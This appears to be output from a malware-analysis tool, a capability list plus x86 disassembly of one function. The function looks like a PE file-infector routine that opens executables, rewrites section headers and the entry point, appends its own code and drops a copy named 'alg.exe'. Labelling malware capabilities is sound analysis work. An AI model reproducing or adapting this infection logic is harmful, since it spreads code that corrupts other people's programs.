Function at 0x40215f
Capabilities:
Copy file
Delete file
Enumerate pe sections
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb8
pushal
push ebp
push 0x402778
push 0x40279d
push dword fs:[0]
mov dword fs:[0], esp
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push 0x405180
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
jne 0x4021a5
jmp 0x402778
mov dword [ebp - 0x108], eax
mov esi, dword [ebp + 0xc]
push dword [esi + 0x54]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x114], eax
mov edi, eax
push dword [esi + 0x54]
push dword [ebp + 8]
push edi
call sub.kernel32.dll_RtlMoveMemory
add edi, dword [edi + 0x3c]
push dword [esi + 0x28]
pop dword [ebp - 0x110]
cmp byte [esi + 0x1a], 0
jne 0x4021eb
cmp byte [esi + 0x1b], 1
jne 0x4021eb
jmp 0x402778
mov word [edi + 0x1a], 0x100
movzx eax, word [esi + 6]
dec eax
mov ecx, 0x28
mul ecx
mov edx, edi
add edx, 0xf8
add edx, eax
mov ebx, edx
add ebx, 0x28
pushal
mov edi, ebx
xor eax, eax
mov ecx, 0x28
repe scasb al, byte es:[edi]
popal
je 0x40237f
mov eax, dword [edx + 0x14]
add eax, dword [edx + 0x10]
cmp eax, dword [ebp + 0x10]
je 0x402234
jmp 0x4023e4
mov dword [edx + 0x24], 0x60000020
mov ecx, 0xa83
add ecx, ecx
push dword [esi + 0x3c]
push ecx
call fcn.0040210f
mov dword [ebp - 0x240], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x240]
add dword [edx + 0x10], eax
push dword [esi + 0x38]
push ecx
call fcn.0040210f
mov dword [ebp - 0x244], eax
add dword [edi + 0x1c], eax
mov eax, dword [edx + 0x14]
add eax, dword [ebp - 0x248]
push edx
push 0
push 0
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 0x240]
push 0x40
call sub.kernel32.dll_GlobalAlloc
pop edx
mov dword [ebp - 0x118], eax
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x240]
push dword [ebp - 0x118]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x118]
call sub.kernel32.dll_GlobalFree
xor eax, eax
mov ebx, edi
add ebx, 0xf8
jmp 0x402303
mov ecx, dword [ebx + 0x10]
or ecx, ecx
je 0x4022fe
test dword [ebx + 0x24], 0x20000000
je 0x4022fe
sub ecx, dword [ebx + 8]
cmp ecx, 0xa83
jb 0x4022fe
or dword [ebx + 0x24], 0xc0000000
jmp 0x402316
add ebx, 0x28
inc ax
cmp ax, word [esi + 6]
jbe 0x4022da
sub ebx, 0x28
sub ebx, 0x28
or dword [ebx + 0x24], 0xc0000000
mov eax, dword [ebx + 0xc]
add eax, dword [ebx + 8]
mov dword [ebp - 0x11c], eax
mov eax, dword [ebx + 0x14]
add eax, dword [ebx + 8]
mov dword [ebp - 0x120], eax
add dword [ebx + 8], 0xa83
mov ecx, 0xa83
push dword [esi + 0x38]
push ecx
call fcn.0040210f
add dword [edi + 0x50], eax
push 0
push 0
push dword [ebp - 0x120]
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
mov ecx, 0xa83
push 0
lea eax, [ebp - 0x10c]
push eax
push ecx
push fcn.0040168c
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
jmp 0x4026f2
inc word [edi + 6]
mov eax, dword [edx + 0x14]
add eax, dword [edx + 0x10]
mov dword [ebx + 0x14], eax
mov ecx, 0xa83
push dword [esi + 0x3c]
push ecx
call fcn.0040210f
mov dword [ebx + 0x10], eax
push dword [esi + 0x38]
push ecx
call fcn.0040210f
add dword [edi + 0x1c], eax
add dword [edi + 0x50], eax
push dword [esi + 0x38]
push dword [edx + 8]
call fcn.0040210f
add eax, dword [edx + 0xc]
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], 0xa83
mov dword [ebx + 0x24], 0xe0000020
push str..ndata
lea eax, [ebx]
push eax
call sub.kernel32.dll_lstrcpyA
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebx + 0x14]
je 0x402691
push edi
push 0x405180
push 0x405388
call sub.kernel32.dll_lstrcpyA
push 0x405388
call sub.kernel32.dll_lstrlenA
mov edi, eax
sub edi, 1
lea eax, [edi + 0x405388]
mov ebx, dword [eax]
cmp bl, 0x5c
jne 0x402419
mov byte [edi + 0x405388], 0
jmp 0x40241b
loop 0x402400
pop edi
push 0x405034
push 0x405388
call sub.kernel32.dll_lstrcatA
push str.alg.exe
push 0x405388
call sub.kernel32.dll_lstrcatA
push 0x400
push 0x40548c
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0
push 0x405388
push 0x40548c
call sub.kernel32.dll_CopyFileA
push dword [ebp - 0x108]
call sub.kernel32.dll_CloseHandle
push 0x405180
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4068e0], eax
mov eax, 0x402ec8
lea edx, [0x405388]
push edx
push eax
push 3
push dword [0x4068e0]
call sub.kernel32.dll_EnumResourceNamesA
push dword [0x4068e0]
call sub.kernel32.dll_FreeLibrary
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push 0x405180
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x108], eax
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push 0x405388
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 0x22c], eax
push 0
push eax
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x230], eax
push dword [ebp - 0x230]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x224], eax
push 0
push 0
push 0
push dword [ebp - 0x22c]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x230]
push dword [ebp - 0x224]
push dword [ebp - 0x22c]
call sub.kernel32.dll_ReadFile
push dword [ebp + 0x10]
push 0x40
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 0x228], eax
push 0
push 0
push 0
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x228]
push dword [ebp - 0x108]
call sub.kernel32.dll_ReadFile
push 0
push 0
push 0
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 0x230]
push dword [ebp - 0x224]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push 0
push 0
push dword [ebp - 0x230]
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x228]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push 0
push 0
push 0x20
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [ebp + 0x10]
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
push 0
push 0
push 0xe2
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
mov dword [ebp - 0x234], 0x100
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebp - 0x230]
add eax, dword [ebp + 0x10]
push 0
push 0
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 0x108]
call sub.kernel32.dll_SetEndOfFile
push dword [ebp - 0x22c]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x224]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x228]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x108]
call sub.kernel32.dll_CloseHandle
push 0x405388
call sub.kernel32.dll_DeleteFileA
jmp 0x402778
push 0
push 0
push dword [ebx + 0x14]
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [ebx + 8]
push fcn.0040168c
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebx + 0x14]
add eax, dword [ebx + 0x10]
push 0
push 0
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 0x108]
call sub.kernel32.dll_SetEndOfFile
push dword [ebx + 0xc]
pop dword [ebp - 0x11c]
push dword [ebx + 0x14]
pop dword [ebp - 0x120]
mov eax, dword [ebp - 0x11c]
add eax, 0x6a0
mov dword [edi + 0x28], eax
push 0
push 0
push 0
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push dword [esi + 0x54]
push dword [ebp - 0x114]
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
mov eax, dword [ebp - 0x11c]
add eax, 0xa83
sub dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x120]
add ecx, 0xa7f
push 0
push 0
push ecx
push dword [ebp - 0x108]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10c]
push eax
push 4
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x108]
call sub.kernel32.dll_WriteFile
pop dword fs:[0]
add esp, 0xc
push dword [ebp - 0x108]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x114]
call sub.kernel32.dll_GlobalFree
popal
leave
ret 0xc